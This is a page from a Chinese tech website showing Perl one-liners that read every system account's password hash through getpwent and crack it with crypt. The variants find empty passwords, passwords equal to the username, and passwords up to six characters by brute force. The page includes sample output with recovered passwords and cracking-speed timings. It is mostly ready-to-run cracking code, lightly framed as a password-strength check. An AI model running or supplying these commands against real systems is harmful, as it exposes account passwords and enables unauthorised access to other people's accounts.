当前位置: 移动技术网 > IT编程>网页制作>Perl > 只有一行的Perl程序第1/3页

只有一行的Perl程序第1/3页

2017年12月08日  | 移动技术网IT编程  | 我要评论

==
1.首先通过getpwent()获取当前所有用户的用户名和经过加密的口令密文,在$u和$c中 ;
2.使用crypt对用户名进行加密,salt值为口令密文的前两位,自动忽略其余位;
3.如果加密结果等同于密文,那么就代表明文和密文匹配,破解成功。
##
# perl -nle 'setpwent;(""eq$c&&print"$u = [null]")||(crypt($_,$c)eq$c&&print"$u = $_")while($u,$c)=getpwent'
# 增强命令行版本,破解空口令和stdin输入口令的用户
##
这里给出一个变形的交互式crack,由用户手工输入测试口令,然后程序会自动找出同此口令匹配
的用户。
##
# perl -e '(""eq$c&&print"$u = [null]")||(crypt($u,$c)eq$c&&print"$u = $u\n")while($u,$c)=getpwent'
# 破解无口令或 用户名=口令的用户
#
# perl -e 'while(($u,$c)=getpwent){for(a..zzzzzz,0..999999){crypt($_,$c)eq$c&&print"$u $_\n";}}'
# 破解6位数字和6位字符以内简单密码的用户
##
最后看看结果:
##
# perl -e '(""eq$c&&print"$u = [null]")||(crypt($u,$c)eq$c&&print"$u = $u\n")while($u,$c)=getpwent'
demo02 = demo02
demo03 = [null]
#perl -nle 'setpwent;(""eq$c&&print"$u = [null]")||(crypt($_,$c)eq$c&&print"$u = $_")while($u,$c)=getpwent'
p09uest
elly = p09uest
demo03 = [null]
# time perl -e 'while(($u,$c)=getpwent){for(a..zzzz,0..9999){crypt($_,$c)eq$c&&print"$u $_\n";}}'
demo01 abc
real 0m48.714s
user 0m48.660s
sys 0m0.060s
##
第一行,是simple版本,解出了两个简单用户口令;
第二行,使交互式版本,根据用户输入进行解密;
第三行,穷举版本...时间会比较长一点点哦,des加密破解速率大概在每秒数万到数十万个,md5破解速率
就只有数千个了。所以在bsd和linux等使用md5的平台上速度会大大慢于aix或hp-ux等商密出口限制平台。
还有点点小缺陷,就是使用a..zzzz,0..9999得出的字典集合,只是相应位数的纯数字或纯字母集合,不包括
混杂类型和特殊字符的。
不过这行程序用于简单的用户口令强度验证时应该足够了吧,最大的优点,一不许要编译,二支持跨平台和
多种加密算法的哦:p
在aix(des 56),linux(des 40),linux(md5 128),freebsd(md5 128)上测试通过,不过很不幸在hp-ux
上perl的getpwent是取不到passwd值的,也许perl不支持hp-ux上的tcb格式存放的shadow密码吧。

3

如对本文有疑问, 点击进行留言回复!!

相关文章:

验证码:
移动技术网